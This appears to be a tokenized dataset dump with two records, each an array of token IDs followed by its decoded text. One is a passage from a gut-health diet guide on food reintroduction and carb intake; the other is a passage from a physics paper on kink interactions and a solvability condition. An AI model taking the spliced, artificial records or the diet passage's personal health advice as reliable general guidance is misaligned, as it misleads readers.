323, 368, 15, 187, 187, 1835, 733, 310, 417, 512, 390, 5293, 187, 187, 2512, 5257, 281, 320, 2308, 273, 2739, 13761, 15, 1198, 1650, 13, 690, 952, 476, 6008, 22759, 275, 667, 10671, 342, 8839, 642, 1895, 15, 19810, 476, 626, 452, 667, 1293, 5471, 298, 528, 90, 15, 1244, 987, 275, 253, 4766, 273, 841, 952, 13, 403, 1110, 665, 476, 452, 795, 8826, 64, 22759, 13, 533, 604, 597, 452, 795, 15627, 64, 1199, 13, 597, 1053, 626, 1928, 973, 15, 3771, 984, 368, 1053, 626, 513, 973, 342, 1781, 13483, 273, 247, 2176, 2739, 2506, 626, 1599, 368, 878, 281, 3693, 352, 2233, 7739, 16600, 436, 275, 2564, 13, 984, 352, 476, 1361, 1056, 634, 6196, 1679, 29190, 15, 187, 187, 2214, 1650, 13, 309, 5393, 619, 7364, 342, 1578, 7100, 80, 4321, 15, 309, 476, 513, 581, 1578, 7100, 80, 5484, 313, 27978, 767, 281, 1264, 13768, 582, 533, 604, 309, 513, 625, 685, 436, 13, 619, 11479, 310, 417, 5211, 15, 309, 671, 1053, 626, 1646, 281, 19818, 30167, 8689, 8349, 973, 15, 309, 476, 6008, 1355, 13483, 13, 533, 4067, 1296, 723, 1053, 626, 1790, 973, 342, 479, 15, 309, 452, 642, 1895, 342, 33666, 390, 22759, 13, 533, 309, 1335, 1053, 626, 1056, 33666, 247, 15048, 37891, 15, 187, 187, 1147, 434, 3164, 417, 247, 1175, 2934, 281, 21409, 667, 273, 253, 12134, 368, 4366, 247, 4884, 281, 1046, 1388, 15, 1198, 1650, 13, 309, 1053, 626, 452, 1578, 7100, 80, 1046, 1388, 15, 1310, 309, 513, 13, 846, 247, 1223, 309, 4366, 619, 27665, 7866, 281, 810, 560, 15, 1292, 436, 2506, 626, 1599, 326, 309, 476, 626, 452, 581, 390, 767, 1578, 7100, 80, 17208, 275, 247, 1677, 2129, 604, 309, 1353, 275, 253, 12315, 13, 390, 604, 309, 1353, 15153, 285, 253, 8574, 2130, 4453, 17319, 13, 326, 309, 476, 626, 452, 271, 1578, 7100, 80, 5484, 1046, 1388, 1223, 15153, 285, 840, 1091, 281, 619, 19322, 8353, 672, 309, 755, 1728, 15, 9876, 436, 1056, 3282, 32, 2325, 12112, 342, 634, 28772, 273, 9632, 12134, 13, 984, 352, 588, 1056, 634, 1495, 247, 2257, 6927, 13, 625, 30357, 13, 285, 23592, 1321, 15, 187, 187, 1835, 6129, 1507, 403, 5657, 13, 417, 31194, 187, 187, 510, 25257, 359, 452, 6107, 313, 49, 1079, 80, 13, 1698, 401, 3519, 13820, 13, 2406, 12344, 13, 285, 253, 2571, 10, 403, 5657, 281, 1361, 368, 625, 4541, 4271, 12134, 326, 1537, 320, 20276, 15, 5595, 952, 990, 598, 342, 247, 4451, 19310, 273, 9371, 7313, 2668, 432, 841, 25257, 15, 5037, 626, 7664, 604, 368, 1053, 626, 956, 795, 455, 64, 253, 4803, 323, 247, 1677, 6196, 7231, 314, 15, 3824, 12553, 4736, 310, 281, 755, 368, 281, 253, 795, 31876, 383, 64, 1896, 6196, 15, 17814, 310, 1027, 275, 2426, 273, 752, 616, 15048, 13674, 588, 320, 13, 533, 4130, 556, 281, 564, 949, 253, 1232, 273, 5175, 841, 13674, 281, 923, 835, 597, 403, 15, 187, 187, 1835, 3166, 417, 4709, 2739, 187, 187, 20517, 13, 352, 434, 1774, 281, 3748, 326, 952, 588, 2223, 4366, 247, 16821, 2559, 3745, 281, 6008, 12134, 326, 908, 281, 15105, 731, 846, 597, 452, 4307, 598, 281, 3213, 608, 15, 733, 434, 1774, 326, 359, 5100, 436, 13, 984, 690, 1363, 755, 16060, 715, 4680, 597, 476, 1620, 969, 452, 247, 18470, 273, 33666, 13, 22759, 13, 1029, 14, 39, 3519, 13820, 12134, 13, 1327, 14, 49, 1079, 80, 12134, 13, 390, 544, 14447, 2739, 1060, 1570, 831, 310, 417, 2032, 13, 285, 436, 9927, 310, 417, 5875, 15, 6279, 13, 368, 588, 2779, 4366, 627, 403, 690, 12134, 368, 476, 626, 6008, 390, 476, 760, 452, 275, 1355, 13483, 15, 1292, 513, 368, 4456, 849, 6422, 1659, 37298, 403, 32, 1310, 368, 452, 253, 9927, 326, 368, 588, 755, 8334, 432, 247, 2176, 2739, 13, 627, 310, 247, 2266, 4839, 368, 588, 346, 5070, 2399, 3, 436, 715, 1146, 15, 2596, 273, 253, 954, 1959, 272, 285, 12912, 9506, 309, 5517, 275, 253, 14235, 310, 672, 309, 2028, 247, 3110, 13, 346, 1147, 434, 10826, 281, 1071, 634, 2739, 13674, 13, 285, 309, 30258, 368, 588, 320, 2104, 281, 6008, 1142, 273, 634, 686, 28872, 8, 12134, 342, 642, 1895, 387, 512, 15, 30706, 731, 449, 187, 187, 1835, 6618, 12270, 403, 10826, 187, 187, 29139, 403, 2223, 9202, 273, 346, 11849, 247, 10551, 3, 846, 2444, 1892, 281, 20658, 616, 43370, 15, 1583, 5257, 281, 1158, 326, 2607, 273, 789, 476, 320, 3807, 531, 407, 247, 4564, 273, 3076, 16961, 15, 831, 310, 417, 2032, 15, 18741, 849, 1774, 253, 3126, 368, 2794, 323, 634, 30158, 310, 32, 1310, 368, 1472, 9123, 285, 3811, 1786, 1031, 954, 273, 253, 673, 13, 368, 588, 2794, 271, 3126, 326, 25243, 398, 247, 5875, 30158, 15, 5595, 273, 253, 673, 2097, 352, 434, 10826, 281, 452, 19322, 21492, 15, 1310, 253, 3513, 275, 634, 2846, 2335, 1264, 846, 2369, 790, 745, 689, 253, 2282, 273, 247, 1770, 13, 651, 634, 2846, 8423, 320, 689, 6321, 342, 6617, 32, 1621, 13, 273, 2282, 417, 15, 5402, 11479, 310, 253, 1072, 1039, 15, 733, 434, 752, 368, 513, 795, 2252, 64, 273, 253, 673, 326, 434, 1774, 13, 594, 1053, 626, 7171, 4834, 598, 390, 320, 35268, 326, 271, 19322, 745, 14, 11139, 11484, 588, 320, 247, 2968, 2740, 254, 15, 187, 187, 817 ]	nicely with our reintroduction step. First, we need to determine if you tolerate sources of carbs (like rice or potatoes). You'll be testing this during your reintroduction. Then, once you know what carb sources you're OK with, you can experiment with upping your overall carb intake and seeing how you feel. Here is what this might look like: You went on the autoimmune-Paleo diet and felt better. Now, you will be reintroducing foods that were not allowed on the autoimmune-Paleo diet, like potatoes and sweet potatoes. You do this, and they seem fine. You then move on to foods not allowed on the Paleo diet, like rice. Rice was also OK. Now we know you can tolerate these foods, but the question is, will you feel better when you eat these carb-dense foods regularly, which will increase your daily carb intake? You now add a small serving of rice, potato, or sweet potato to each meal for a couple of days, and see how you feel. You could count your carb grams if you'd like, but you don't need to. The reason you don't need to is because you're not shooting for a given number or level but rather paying attention to see when your body feels best. When people increase their carbs, they notice one of two things: they feel better, or they feel worse. Of course, if you feel worse, reduce your carbs. If you feel better, continue with the carbs. With time and observation, you should settle into the right level of carb intake for you. If you don't notice any difference when eating more or fewer carbs—congratulations. You have a versatile ecosystem that can thrive on either. ### Safe carb sources If you notice you feel better with a moderate to higher carb intake, here is a list of higher-carb foods that tend to work well for most: * White rice * White potato * Sweet potato * Gluten-free bread products * Oats * Plantains * Cassava, taro, yucca * Rutabaga * Corn (non-GMO) ### Reintroduction recap Keep these things in mind as you reintroduce foods: * Reintroduce from the top of our pyramid down. * Start your reintroduction with "safer" foods first. * Try to reintroduce foods one at a time. * This helps isolate which foods are problematic. If you reintroduce five foods at the same time and have a reaction, it's hard to say which food caused it. * For a given food, try to have a few servings a day for a few days. * It's not all or none. Some people can tolerate small amounts of trigger foods, so having a few servings will help you identify if you have a certain threshold. * The more severe your intolerance, the more obvious it will be upon reintroduction—meaning the more severe your reaction will be. * Increasing your carb intake is part of the reintroduction. Listen to your body as you reintroduce foods that are carb dense, and adjust accordingly. * Don't drive yourself crazy with details. * Think big picture and about what you do most of the time. Don't fret over minute dietary details or about an occasional off-plan meal. * Periodically revisit your reintroduction. * This is what we are doing now :) ### Here are a few additional points worth emphasizing #### Be confident You need to find the right diet _for you_. You have taken enormous steps to heal your gut so that you can tolerate the broadest range of foods possible, and now we will determine what that range is in our reintroduction step. Wherever you end up, be confident in your diet. Don't give in to pressure from stuff you read on the Internet. If you settle into a low-carb approach, you may read that low carb is bad because it "starves your gut bugs." We've already debunked this concept, so have confidence that if this is what feels best for you, _it is_ the best for you. Or, if you have settled into a higher-carb approach, you may read that higher-carb diets can cause weight gain and diabetes. But we've already talked about how some people will actually do better with their weight and blood sugar on a higher-carb diet. So, be confident that the diet you feel best on is the best diet for you and for your unique ecosystem. Don't compare yourself to anyone else. If your friend does great on lots of fiber and high-FODMAP foods—good for her. That type of diet may decimate others. So be OK with the diet _you_ feel best on—honor your unique ecosystem. And, yes, even if your friend has great digestion, it doesn't mean you should follow her diet. Some people have it easy, and they will have great digestion no matter what they eat, just like some people will stay thin no matter what they eat. This doesn't mean you should look to these people for dietary advice. Just because some people have been dealt a fortunate genetic hand does not mean they have any clue what they are doing. Trust our Great-in-8 process, and continue to work through it. This will get you to the best and broadest diet for you. #### It is not all or none There tend to be levels of food tolerance. For example, some people can eat dairy in any quantity with absolutely no problem. Others can't have any without feeling lousy. And right in the middle of these people, are those who can have _some_ dairy, but if they have _too_ much, they don't feel well. Just because you don't do well with large quantities of a certain food doesn't mean you need to avoid it 100%. Keep this in mind, because it can help make your diet less restrictive. For example, I mentioned my limitations with espresso earlier. I can do one espresso drink (usually two to three shots), but if I do more than this, my gut is not happy. I also don't seem to digest Brussels sprouts well. I can eat small quantities, but larger servings don't sit well with me. I have no problem with gluten or dairy, but I still don't make gluten a dietary staple. It's probably not a good idea to consume any of the foods you notice a reaction to every day. For example, I don't have espresso every day. If I do, after a while I notice my digestion starts to regress. But this doesn't mean that I can't have one or two espresso drinks in a given week if I'm in the mood, or if I'm traveling and the coffee available looks delicious, that I can't have an espresso drink every day while traveling and then return to my occasional consumption when I get home. Does this make sense? Be flexible with your avoidance of trigger foods, because it will make your life a lot easier, more enjoyable, and tastier. #### Diets are tools, not religions The diets we have covered (Paleo, low FODMAP, lower carb, and the others) are tools to help you more quickly identify foods that might be problematic. Most people end up with a unique blend of helpful observations taken from these diets. Don't worry if you don't follow _all_ the rules for a given diet religiously. Our ultimate goal is to get you to the _broadest_ possible diet. Everyone is different in terms of what their dietary boundaries will be, but everyone has to go through the process of testing these boundaries to see where they are. #### Do not fear food Again, it's important to mention that people will often notice a dramatically increased ability to eat foods that used to bother them after they have worked up to step 5. It's important that we establish this, because some patients get scared into thinking they can never again have a bite of gluten, dairy, high-FODMAP foods, non-Paleo foods, or [insert food here]. This is not true, and this belief is not healthy. Yes, you will likely notice there are some foods you can't eat or can only have in small quantities. But do you remember how powerful placebos are? If you have the belief that you will get sick from a certain food, there is a strong chance you will "placebo" this into being. One of the most freeing and beneficial moments I witness in the clinic is when I tell a patient, "It's OK to test your food boundaries, and I anticipate you will be able to eat many of your 'problem' foods with no problem at all. Enjoy them." #### Setbacks are OK Patients are often afraid of "making a mistake" after working hard to heal their guts. They tend to think that months of work can be undone by a couple of bad meals. This is not true. Remember how important the environment you create for your microbiota is? If you're eating and living healthily most of the time, you will create an environment that fosters a healthy microbiota. Most of the time means it's OK to have occasional deviations. If the police in your city took three afternoons off over the course of a month, would your city suddenly be overrun with crime? No, of course not. Your gut is the same way. It's what you do _most_ of the time that's important, so don't beat yourself up or be fearful that an occasional off-plan meal will be a deal breaker. ##
[ 94, 50276, 3353, 187, 50269, 88, 578, 19, 94, 187, 50276, 61, 423, 92, 14336, 2023, 393, 187, 50276, 61, 8823, 464, 2162, 15996, 30, 187, 50276, 61, 2043, 92, 14336, 94, 187, 50274, 1035, 3214, 578, 89, 94, 66, 2766, 3214, 578, 89, 94, 67, 578, 69, 2311, 87, 1035, 3005, 8744, 1035, 3214, 578, 89, 94, 67, 578, 69, 5960, 187, 50274, 61, 3214, 578, 89, 94, 66, 1572, 3214, 578, 85, 94, 83, 12, 44, 578, 18, 889, 3005, 12, 44, 578, 19, 889, 1464, 12, 44, 578, 20, 94, 50276, 3353, 187, 50274, 1035, 3214, 578, 89, 94, 67, 2766, 3214, 578, 89, 94, 66, 578, 69, 2311, 87, 1035, 3005, 8744, 1035, 3214, 578, 89, 94, 66, 578, 69, 5960, 187, 50274, 61, 3214, 578, 89, 94, 67, 1572, 3214, 578, 85, 94, 83, 12, 44, 24915, 18, 889, 3005, 12, 44, 24915, 19, 889, 1464, 12, 44, 24915, 20, 94, 187, 50276, 61, 423, 92, 14336, 94, 393, 22632, 61, 423, 92, 14856, 2138, 835, 253, 3470, 370, 44, 578, 74, 1603, 89, 13, 85, 1009, 285, 370, 44, 24915, 74, 1603, 89, 13, 85, 10, 393, 313, 74, 30, 18, 13, 19, 13, 20, 1009, 403, 1677, 407, 27, 1764, 2043, 92, 2132, 94, 187, 50276, 44, 578, 18, 94, 8114, 66, 9, 66, 578, 69, 5960, 18, 7415, 19, 6643, 19, 67, 9, 66, 12, 67, 578, 69, 34227, 66, 578, 69, 5960, 18, 8744, 67, 578, 69, 1603, 18, 14, 19, 66, 578, 69, 6643, 67, 768, 19, 2311, 50276, 3353, 187, 50276, 44, 578, 19, 94, 8114, 66, 9, 66, 578, 69, 5960, 18, 7415, 19, 6643, 19, 9, 66, 578, 69, 5960, 18, 2769, 357, 12, 66, 578, 69, 94, 67, 578, 69, 6643, 4482, 578, 69, 42789, 67, 578, 69, 1603, 18, 12, 67, 768, 19, 2311, 50276, 3353, 187, 50276, 44, 578, 20, 94, 8114, 14, 19, 12577, 3214, 578, 89, 1990, 19, 94, 67, 578, 69, 6643, 67, 578, 69, 1603, 20, 66, 768, 19, 6643, 20, 357, 578, 69, 6643, 19, 67, 578, 69, 1990, 19, 5960, 19, 10, 3202, 187, 50276, 44, 24915, 18, 94, 8114, 14, 66, 9, 66, 12, 19, 67, 578, 69, 34227, 66, 578, 69, 5960, 18, 8744, 67, 578, 69, 1603, 67, 578, 69, 5960, 19, 357, 14, 4482, 578, 69, 2311, 50276, 3353, 187, 50276, 44, 24915, 19, 94, 8114, 66, 9, 66, 12, 19, 67, 578, 69, 34227, 66, 578, 69, 5960, 18, 8744, 67, 578, 69, 1603, 19, 357, 12, 4482, 578, 69, 6643, 19, 66, 578, 69, 94, 67, 578, 69, 5960, 67, 578, 69, 2311, 50276, 3353, 187, 50276, 44, 24915, 20, 94, 8114, 14, 19, 12577, 3214, 578, 89, 1990, 19, 94, 66, 578, 69, 6643, 20, 67, 768, 19, 1603, 66, 578, 69, 5960, 18, 8744, 20, 67, 9, 66, 578, 69, 5960, 18, 7415, 19, 6643, 19, 66, 578, 69, 1990, 20, 94, 187, 50269, 14, 20, 66, 578, 69, 1990, 19, 6643, 66, 578, 69, 889, 423, 92, 2132, 2138, 380, 1220, 87, 1430, 1617, 323, 253, 6242, 273, 247, 2900, 3019, 88, 578, 18, 1603, 89, 13, 85, 582, 88, 578, 19, 1603, 89, 13, 85, 18103, 323, 3891, 2574, 27, 3642, 88, 3851, 9563, 1764, 1968, 92, 2574, 27, 1026, 19, 94, 187, 50276, 1035, 8823, 464, 8616, 4799, 21675, 5548, 393, 8823, 464, 2162, 94, 3401, 30, 17, 1890, 835, 669, 8823, 464, 8616, 4799, 21675, 724, 14125, 281, 253, 10295, 273, 253, 6753, 14, 44121, 4872, 8967, 5572, 669, 1588, 92, 45, 3363, 844, 588, 921, 2708, 326, 669, 8823, 464, 8616, 4799, 21675, 724, 310, 5512, 1677, 407, 9722, 3214, 578, 89, 94, 66, 1337, 187, 61, 3214, 578, 89, 94, 67, 7415, 53, 724, 313, 1568, 370, 53, 5, 12853, 253, 811, 7334, 4972, 582, 835, 370, 66, 30, 66, 9, 89, 14, 83, 9, 85, 18103, 285, 370, 67, 30, 67, 9, 89, 14, 83, 9, 85, 18103, 403, 253, 5028, 3402, 10104, 1475, 370, 89, 30, 83, 9, 85, 3822, 187, 187, 510, 806, 4445, 273, 253, 4972, 2367, 1588, 418, 889, 8823, 464, 8616, 4799, 21675, 724, 310, 1677, 407, 27, 1764, 1968, 92, 2574, 27, 3118, 18, 94, 187, 50276, 61, 2043, 92, 9148, 94, 187, 50274, 5716, 1588, 418, 889, 8823, 464, 8616, 4799, 21675, 32998, 18, 94, 7196, 50276, 464, 1588, 187, 50274, 45, 2026, 883, 889, 3214, 578, 89, 94, 66, 23002, 1588, 418, 2026, 805, 889, 3214, 578, 89, 94, 67, 3202, 2490, 50270, 24060, 3214, 578, 89, 1990, 20, 94, 66, 2766, 3214, 578, 89, 94, 66, 14, 20, 9, 66, 12, 67, 578, 69, 25703, 19, 889, 3214, 578, 89, 94, 66, 2249, 1464, 187, 50274, 9, 66, 578, 69, 6643, 67, 14, 18, 7415, 19, 889, 3214, 578, 89, 94, 66, 14, 19, 61, 1464, 313, 66, 12, 67, 578, 69, 34227, 66, 578, 69, 6643, 67, 14, 18, 1572, 3214, 578, 89, 94, 67, 187, 50276, 61, 423, 92, 9148, 2138, 1284, 1048, 347, 326, 253, 4871, 273, 253, 19069, 310, 1199, 4577, 685, 253, 5028, 1979, 313, 1542, 512, 2069, 370, 85, 17673, 359, 476, 1056, 253, 1563, 34754, 27, 370, 357, 578, 69, 94, 187, 61, 9887, 470, 1337, 39951, 578, 69, 94, 393, 9887, 247, 1337, 48557, 578, 69, 94, 393, 9887, 270, 578, 69, 3363, 5076, 13, 436, 9376, 8018, 326, 253, 1885, 273, 253, 4309, 342, 1675, 281, 370, 89, 5, 273, 271, 10896, 2900, 18932, 327, 370, 89, 30, 89, 578, 17, 724, 31458, 407, 1529, 10896, 14728, 247, 2978, 273, 1340, 273, 253, 5028, 1979, 13, 588, 320, 247, 1159, 534, 588, 1379, 2193, 1027, 432, 5058, 760, 275, 247, 1355, 2919, 1475, 370, 89, 30, 89, 578, 17, 3363, 2896, 970, 253, 34754, 1764, 2043, 92, 14856, 94, 187, 50276, 9, 66, 12, 67, 578, 69, 25703, 19, 889, 3214, 578, 89, 94, 66, 393, 9887, 247, 768, 19, 889, 3214, 578, 89, 94, 66, 50276, 3353, 187, 50276, 9, 66, 578, 69, 6643, 67, 14, 18, 7415, 19, 889, 3214, 578, 89, 94, 66, 393, 9887, 270, 768, 19, 889, 3214, 578, 89, 94, 66, 3202, 187, 50276, 9, 66, 12, 67, 578, 67, 34227, 66, 578, 69, 6643, 67, 14, 18, 1572, 3214, 578, 89, 94, 67, 393, 9887, 490, 61, 3214, 578, 89, 94, 67, 187, 61, 423, 92, 14856, 2138, 359, 1089, 27, 1764, 2043, 92, 14856, 94, 187, 50276, 5716, 1588, 418, 889, 8823, 464, 8616, 4799, 21675, 32998, 18, 7628, 3214, 578, 89, 889, 1274, 5709, 3214, 578, 89, 1990, 19, 94, 66, 12, 66, 14, 66, 768, 20, 10780, 1337, 1464, 4615, 270, 768, 19, 94, 66, 61, 918, 9955, 423, 92, 14856, 2138, 21525, 253, 4309, 273, 3891, 2574, 27, 7645, 3851, 342, 1675, 281, 370, 89, 5, 359, 1089, 326, 253, 987, 1133, 1930, 273, 313, 34, 15, 25, 10, 310, 4503, 281, 5058, 672, 253, 10896, 5482, 285, 370, 67, 30, 67, 9, 89, 14, 83, 9, 85, 18103, 403, 7932, 407, 697, 830, 323, 669, 3005, 30, 17, 1352, 7757, 13, 359, 7525, 326, 30780, 1588, 418, 889, 8823, 464, 8616, 4799, 21675, 32998, 18, 4203, 48, 1035, 3005, 3822, 22300, 13, 359, 476, 5276, 326, 30780, 1588, 418, 889, 8823, 464, 8616, 4799, 21675, 32998, 19, 4203, 48, 1035, 3005, 3822, 3813, 13, 387, 8840, 1340, 275, 669, 3005, 1366, 9722, 3214, 578, 89, 94, 66, 1337, 393, 3214, 578, 89, 94, 67, 7415, 53, 724, 14125, 281, 253, 10295, 273, 253, 5572, 669, 1588, 418, 1352, 187, 187, 4125, 359, 476, 10173, 253, 5606, 273, 253, 5028, 1979, 370, 84, 9, 85, 4010, 69, 14, 19, 83, 9, 85, 1009, 949, 253, 1220, 87, 1430, 1617, 3891, 2574, 27, 1026, 19, 8001, 844, 4044, 27, 1764, 1968, 92, 2574, 27, 41635, 907, 94, 187, 50275, 61, 3214, 578, 85, 94, 84, 393, 14829, 393, 2617, 374, 87, 1035, 3005, 17637, 1124, 187, 50275, 92, 187, 50275, 61, 565, 26568, 3259, 4799, 3259, 94, 18747, 313, 73, 578, 66, 8633, 393, 3214, 578, 89, 94, 66, 12, 73, 578, 67, 8633, 393, 3214, 578, 89, 94, 67, 10, 187, 50275, 94, 187, 50275, 92, 187, 50275, 61, 565, 26568, 3259, 4799, 3259, 94, 18747, 544, 1035, 3214, 578, 89, 94, 66, 7415, 19, 6643, 1035, 3214, 578, 89, 94, 67, 7415, 19, 12084, 187, 50275, 2138, 835, 253, 10303, 370, 73, 578, 66, 724, 285, 370, 73, 578, 67, 724, 3469, 2220, 253, 10896, 5482, 370, 66, 5, 285, 370, 67, 5, 285, 253, 1327, 14, 33177, 4764, 669, 3005, 1352, 380, 806, 1307, 273, 253, 987, 1133, 1930, 273, 3891, 2574, 27, 41635, 907, 3851, 6125, 253, 2281, 273, 1818, 273, 253, 5028, 1979, 1955, 281, 1327, 14, 33177, 2538, 534, 2847, 253, 465, 3106, 281, 2118, 387, 247, 3638, 7602, 370, 87, 1035, 3005, 3822, 380, 1273, 1307, 310, 2905, 281, 465, 750, 5016, 15, 496, 253, 1083, 669, 1464, 30, 20, 5, 359, 476, 11897, 11120, 512, 253, 10303, 3206, 275, 3891, 2574, 27, 41635, 907, 3851, 3192, 5750, 273, 253, 16101, 465, 750, 10104, 387, 8840, 1340, 275, 669, 3005, 5, 313, 29813, 3891, 2574, 27, 14983, 39977, 19, 3851, 481, 24709, 271, 7466, 275, 9136, 273, 370, 70, 12886, 2609, 92, 19, 94, 84, 9, 85, 29119, 26179, 760, 253, 4283, 2426, 13, 285, 2530, 326, 669, 3005, 5, 310, 247, 1355, 4764, 13, 359, 4044, 27, 1764, 2043, 92, 14856, 94, 187, 50276, 61, 3214, 578, 85, 94, 84, 2029, 2617, 393, 1124, 464, 3005, 2704, 2609, 92, 19, 27825, 1348, 61, 2609, 92, 19, 94, 70, 12886, 2609, 92, 19, 94, 84, 9, 85, 7398, 423, 92, 14856, 2138, 534, 310, 16186, 15, 575, 7748, 2574, 27, 3281, 8001, 187, 187, 8100, 22731, 23167, 40, 39307, 27, 18598, 1329, 432, 39268, 58, 9190, 313, 49348, 10, 39607, 15192, 3953, 14, 883, 2251, 285, 15192, 3953, 14, 883, 3547, 310, 14969, 15, 187, 187, 60, 740, 1181, 187, 187, 43, 15, 399, 15, 22222, 1299, 13, 353, 15, 5003, 36400, 13, 285, 367, 15, 322, 15, 32706, 8311, 13, 275, 3921, 30335, 4480, 4431, 285, 34448, 34689, 4034, 66, 11661, 16168, 407, 330, 15, 399, 4894, 285, 500, 15, 418, 15, 2070, 11939, 5432, 313, 42228, 280, 13, 4693, 13, 11299, 582, 6845, 15, 854, 15, 187, 187, 34, 15, 378, 1402, 13, 13536, 15, 4111, 15, 4299, 3079, 6257, 34506, 313, 13034, 481, 187, 187, 49, 15, 330, 15, 11826, 864, 4978, 285, 378, 15, 309, 15, 14449, 468, 249, 13, 3555, 15, 4559, 15, 4111, 15, 4299, 2537, 6257, 35543, 313, 20087, 481, 187, 187, 51, 15, 7812, 20232, 13, 444, 15, 26511, 60, 1757, 1181, 79, 26196, 14, 40, 3178, 60, 1950, 1181, 66, 13, 285, 353, 15, 544, 19346, 36400, 3455, 4111, 3737, 399, 4299, 4196, 6257, 7543, 313, 12487, 481, 187, 187, 46, 15, 5003, 36400, 285, 416, 15, 7608, 267, 275, 3921, 10548, 6720, 285, 8256, 48494, 26253, 980, 17128, 11661, 16168, 407, 444, 15, 48669, 2259, 36961, 285, 411, 15, 1503, 7707, 313, 44, 7675, 8358, 27878, 22446, 15, 8210, 10, 285, 10414, 15308, 15, 187, 187, 36, 15, 500, 1730, 254, 395, 285, 322, 15, 42518, 13, 4111, 15, 3555, 15, 12464, 15, 4299, 3141, 6257, 1249, 1010, 313, 12430, 481, 187, 187, 45, 15, 611, 28882, 13, 1503, 15, 4111, 15, 378, 4299, 3156, 6257, 34506, 313, 18263, 558, 418, 15, 611, 28882, 13, 1503, 15, 4111, 15, 378, 4299, 1857, 6257, 22743, 313, 18263, 481, 187, 187, 49, 15, 24369, 1059, 285, 500, 15, 418, 3604, 13, 4111, 15, 3555, 15, 12464, 15, 4299, 2082, 6257, 13620, 19, 313, 13435, 481, 187, 187, 49, 15, 24369, 1059, 13, 330, 15, 3599, 545, 781, 13, 285, 399, 15, 2719, 10422, 13, 4111, 15, 3555, 15, 12464, 15, 4299, 3680, 6257, 37397, 313, 15089, 481, 187, 187, 52, 15, 401, 1952, 306, 285, 473, 15, 596, 780, 13, 4111, 15, 3555, 15, 12464, 15, 4299, 1540, 6257, 35145, 313, 13435, 481, 187, 187, 38, 15, 7612, 251, 13, 4111, 15, 2719, 15, 4299, 22981, 6257, 337, 313, 13895, 481, 187, 187, 58, 15, 16251, 13, 416, 15, 444, 15, 24253, 413, 13, 285, 443, 15, 15344, 10787 ]	} \\ w_{2} \end{pmatrix}, \ \bsy{\phi}'= \begin{pmatrix} (\partial_{x}a+\partial_{x}b_{d})v(\delta)+(\partial_{x}b_{d}- \partial_{x}a)\partial_{t}r+K_{1}\delta+K_{2}\eta+K_{3} \\ (\partial_{x}b+\partial_{x}a_{d})v(\delta)+(\partial_{x}a_{d}- \partial_{x}b)\partial_{t}r+K'_{1}\delta+K'_{2}\eta+K'_{3} \end{pmatrix} \notag\end{gathered}$$ where the functions $K_{i}(x,t)$ and $K'_{i}(x,t) \ (i=1,2,3)$ are given by: $$\begin{aligned} K_{1}&=a(a_{d}-1)^{2}+2b(a+b_{d})(a_{d}-1)+b_{d}(1-2a_{d}+b^{2}) \\ K_{2}&=a(a_{d}-1)^{2}+2(a_{d}-1)(ab+a_{d}b_{d}+bb_{d})+b_{d}(1+b^{2}) \\ K_{3}&=-2\,\partial_{x}^{2}b_{d}+b_{d}(3a^{2}+3ab_{d}+2b_{d}^{2}-2) \\ K'_{1}&=-a(a+2b_{d})(a_{d}-1)+b_{d}(b_{d}-2ab-bb_{d}) \\ K'_{2}&=a(a+2b_{d})(a_{d}-1)+b_{d}(2ab+bb_{d}+2a_{d}b_{d}-b_{d}) \\ K'_{3}&=-2\,\partial_{x}^{2}a_{d}+3b^{2}(a_{d}-1)+3b(a_{d}-1)^{2}+2a_{d}^{3} -3a_{d}^{2}+a_{d}\end{aligned}$$ The solvability condition for the existence of a solution $(w_{1}(x,t),w_{2}(x,t))$ for (\[eq:linw\]) reads $$\label{eq:sc2} (\bsy{\Psi}^{\dag},\ \bsy{\phi}')=0$$ where $\bsy{\Psi}^{\dag}$ belongs to the kernel of the auto-adjoint linear differential operator $\mathcal{L}$. We will show below that $\bsy{\Psi}^{\dag}$ is approximately given by $(\partial_{x}a,\ \partial_{x}b)^{T}$ (here $T$ denotes the transposed vector), where $a=a(x-r(t))$ and $b=b(x-r(t))$ are the domain wall profiles around $x=r(t)$. The first component of the vector ${\mathcal L}\bsy{\Psi}^{\dag}$ is given by: $$\label{eq:comp1} \begin{split} ({\mathcal L}\bsy{\Psi}^{\dag})_{1} &= {\mathcal L}_{11}\partial_{x}a+{\mathcal L}_{12}\partial_{x}b \\ &=\partial_{x}^{3}a+\partial_{x}a-3(a+b_{d})^{2}\partial_{x}a-\eta (a_{d}+b-1)^{2}\partial_{x}a-2\eta (a+b_{d})(a_{d}+b-1)\partial_{x}b \end{split}$$ As long as that the width of the interfaces is much smaller than the domain size (for all times $t$), we can make the following approximations: $ab_{d} \approx 0,\ aa_{d} \approx a,\ bb_{d} \approx b_{d}$. Moreover, this assumption implies that the product of the derivative with respect to $x$ of an amplitude solution centered on $x=x_{0}$ multiplied by another amplitude shifted a length of order of the domain size, will be a function which will take values different from zero only in a small region around $x=x_{0}$. By using the approximations $$\begin{gathered} (a+b_{d})^{2}\partial_{x}a \approx a^{2}\partial_{x}a \\ (a_{d}+b-1)^{2}\partial_{x}a \approx b^{2}\partial_{x}a \\ (a+b_{b})(a_{d}+b-1)\partial_{x}b \approx ab\partial_{x}b \end{gathered}$$ we find: $$\begin{gathered} ({\mathcal L}\bsy{\Psi}^{\dag})_{1}=\partial_{x}\left[\partial_{x}^{2}a+a-a^{3}-\,\eta\, b^{2}a\right]\end{gathered}$$ Taking the derivative of (\[eq:model\]) with respect to $x$ we find that the right hand side of (A.8) is equal to zero when the amplitude solutions and $b=b(x-r(t))$ are replaced by its form for $\delta=0$. Hence, we conclude that $({\mathcal L}\bsy{\Psi}^{\dag})_{1}=O(\delta)$. Likewise, we can prove that $({\mathcal L}\bsy{\Psi}^{\dag})_{2}=O(\delta)$. Therefore, at lowest order in $\delta$, $(\partial_{x}a,\ \partial_{x}b)^{T}$ belongs to the kernel of the operator $\mathcal L$. Now we can calculate the evolution of the domain size $s(t)=d-2r(t)$ through the solvability condition (\[eq:sc2\]). We obtain: $$\label{eq:domsize} \partial_{t}s \cong \pm 2v(\delta)+\frac { \int_{-\infty}^{\infty} dx (h_{a}\, \partial_{x}a+h_{b}\, \partial_{x}b) } { \int_{-\infty}^{\infty} dx [(\partial_{x}a)^{2}+(\partial_{x}b)^{2}] }$$ where the coefficients $h_{a}$ and $h_{b}$ depend upon the amplitude solutions $a$ and $b$ and the non-potential parameter $\delta$. The first term of the right hand side of (\[eq:domsize\]) represents the rate of change of the domain size due to non-potential effects which cause the kinks to move at a constant velocity $v(\delta)$. The second term is related to kink interaction. In the case $\eta=3$ we can compute explicitly all the coefficients involved in (\[eq:domsize\]) taking advantage of the analytical kink profiles at lowest order 